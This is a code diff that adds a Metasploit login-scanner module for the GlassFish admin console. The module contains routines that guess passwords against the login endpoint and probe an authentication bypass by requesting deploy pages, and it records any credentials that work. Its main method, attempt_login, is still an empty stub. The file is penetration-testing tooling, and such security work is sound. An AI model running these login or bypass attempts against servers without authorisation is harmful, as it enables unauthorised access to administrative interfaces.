|
| 1 | +module Metasploit |
| 2 | + module Framework |
| 3 | + module LoginScanner |
| 4 | + |
| 5 | + class Glassfish |
| 6 | + |
| 7 | + include Msf::Exploit::Remote::HttpClient |
| 8 | + |
| 9 | + CAN_GET_SESSION = false |
| 10 | + DEFAULT_PORT = 4848 |
| 11 | + PRIVATE_TYPES = [ :password ] |
| 12 | + |
| 13 | + def set_sane_defaults |
| 14 | + self.uri = "/j_security_check" if self.uri.nil? |
| 15 | + self.method = "POST" if self.method.nil? |
| 16 | + |
| 17 | + super |
| 18 | + end |
| 19 | + |
| 20 | + |
| 21 | + def attempt_login(credential) |
| 22 | + end |
| 23 | + |
| 24 | + |
| 25 | + # |
| 26 | + # Reports a successful login attempt |
| 27 | + # |
| 28 | + def log_success(user='',pass='') |
| 29 | + report_auth_info( |
| 30 | + :host => rhost, |
| 31 | + :port => rport, |
| 32 | + :sname => (ssl ? 'https' : 'http'), |
| 33 | + :user => user, |
| 34 | + :pass => pass, |
| 35 | + :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", |
| 36 | + :source_type => "user_supplied", |
| 37 | + :active => true |
| 38 | + ) |
| 39 | + end |
| 40 | + |
| 41 | + |
| 42 | + # |
| 43 | + # Returns the last JSESSION |
| 44 | + # |
| 45 | + def jsession |
| 46 | + @jsession || '' |
| 47 | + end |
| 48 | + |
| 49 | + |
| 50 | + # |
| 51 | + # Sets the JSESSION id |
| 52 | + # |
| 53 | + def set_jsession(res) |
| 54 | + if res and res.get_cookies =~ /JSESSIONID=(\w*);/i |
| 55 | + @jsession = $1 |
| 56 | + end |
| 57 | + end |
| 58 | + |
| 59 | + |
| 60 | + # |
| 61 | + # Send GET or POST request, and return the response |
| 62 | + # |
| 63 | + def send_request(path, method, data=nil, ctype=nil) |
| 64 | + headers = {} |
| 65 | + headers['Cookie'] = "JSESSIONID=#{jsession}" unless jsession.blank? |
| 66 | + headers['Content-Type'] = ctype unless ctype.blank? |
| 67 | + headers['Content-Length'] = data.length unless data.blank? |
| 68 | + |
| 69 | + uri = normalize_uri(target_uri.path) |
| 70 | + res = send_request_raw({ |
| 71 | + 'uri' => "#{uri}#{path}", |
| 72 | + 'method' => method, |
| 73 | + 'data' => data, |
| 74 | + 'headers' => headers, |
| 75 | + }, 90) |
| 76 | + |
| 77 | + set_jsession(res) |
| 78 | + |
| 79 | + res |
| 80 | + end |
| 81 | + |
| 82 | + |
| 83 | + # |
| 84 | + # Try to login to Glassfish with a credential, and return the response |
| 85 | + # |
| 86 | + def try_login(user, pass) |
| 87 | + data = "j_username=#{Rex::Text.uri_encode(user.to_s)}&" |
| 88 | + data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&" |
| 89 | + data << 'loginButton=Login' |
| 90 | + |
| 91 | + send_request('/j_security_check', 'POST', data, 'application/x-www-form-urlencoded') |
| 92 | + end |
| 93 | + |
| 94 | + |
| 95 | + # |
| 96 | + # Tries to bypass auth |
| 97 | + # |
| 98 | + def try_glassfish_auth_bypass(version) |
| 99 | + success = false |
| 100 | + |
| 101 | + if version =~ /^[29]\.x$/ |
| 102 | + res = send_request('/applications/upload.jsf', 'get') |
| 103 | + p = /<title>Deploy Enterprise Applications\/Modules/ |
| 104 | + if (res and res.code.to_i == 200 and res.body.match(p) != nil) |
| 105 | + success = true |
| 106 | + end |
| 107 | + elsif version =~ /^3\./ |
| 108 | + res = send_request('/common/applications/uploadFrame.jsf', 'get') |
| 109 | + p = /<title>Deploy Applications or Modules/ |
| 110 | + if (res and res.code.to_i == 200 and res.body.match(p) != nil) |
| 111 | + success = true |
| 112 | + end |
| 113 | + end |
| 114 | + |
| 115 | + log_success if success |
| 116 | + |
| 117 | + success |
| 118 | + end |
| 119 | + |
| 120 | + |
| 121 | + # |
| 122 | + # Newer editions of Glassfish prevents remote brute-forcing by disabling remote logins.. |
| 123 | + # So we need to check this first before actually trying anything. |
| 124 | + # |
| 125 | + def is_secure_admin_disabled?(res) |
| 126 | + return (res.body =~ /Secure Admin must be enabled/) ? true : false |
| 127 | + end |
| 128 | + |
| 129 | + |
| 130 | + # |
| 131 | + # Login routine specific to Glfassfish 2 and 9 |
| 132 | + # |
| 133 | + def try_glassfish_2(user, pass) |
| 134 | + res = try_login(user,pass) |
| 135 | + if res and res.code == 302 |
| 136 | + set_jsession(res) |
| 137 | + res = send_request('/applications/upload.jsf', 'GET') |
| 138 | + |
| 139 | + p = /<title>Deploy Enterprise Applications\/Modules/ |
| 140 | + if (res and res.code.to_i == 200 and res.body.match(p) != nil) |
| 141 | + return true |
| 142 | + end |
| 143 | + end |
| 144 | + |
| 145 | + false |
| 146 | + end |
| 147 | + |
| 148 | + |
| 149 | + # |
| 150 | + # Login routine specific to Glassfish 3 and 4 |
| 151 | + # |
| 152 | + def try_glassfish_3(user, pass) |
| 153 | + res = try_login(user,pass, ) |
| 154 | + if res and res.code == 302 |
| 155 | + set_jsession(res) |
| 156 | + res = send_request('/common/applications/uploadFrame.jsf', 'GET') |
| 157 | + p = /<title>Deploy Applications or Modules/ |
| 158 | + if (res and res.code.to_i == 200 and res.body.match(p) != nil) |
| 159 | + return true |
| 160 | + end |
| 161 | + end |
| 162 | + |
| 163 | + false |
| 164 | + end |
| 165 | + |
| 166 | + |
| 167 | + # |
| 168 | + # Tries to login to Glassfish depending on the version |
| 169 | + # |
| 170 | + def try_glassfish_login(version,user,pass) |
| 171 | + success = false |
| 172 | + |
| 173 | + case version |
| 174 | + when /^[29]\.x$/ |
| 175 | + success = try_glassfish_2(user, pass) |
| 176 | + when /^[34]\./ |
| 177 | + success = try_glassfish_3(user, pass) |
| 178 | + end |
| 179 | + |
| 180 | + log_success(user,pass) if success |
| 181 | + |
| 182 | + success |
| 183 | + end |
| 184 | + |
| 185 | + end |
| 186 | + end |
| 187 | + end |
| 188 | +end |
| 189 | + |
0 commit comments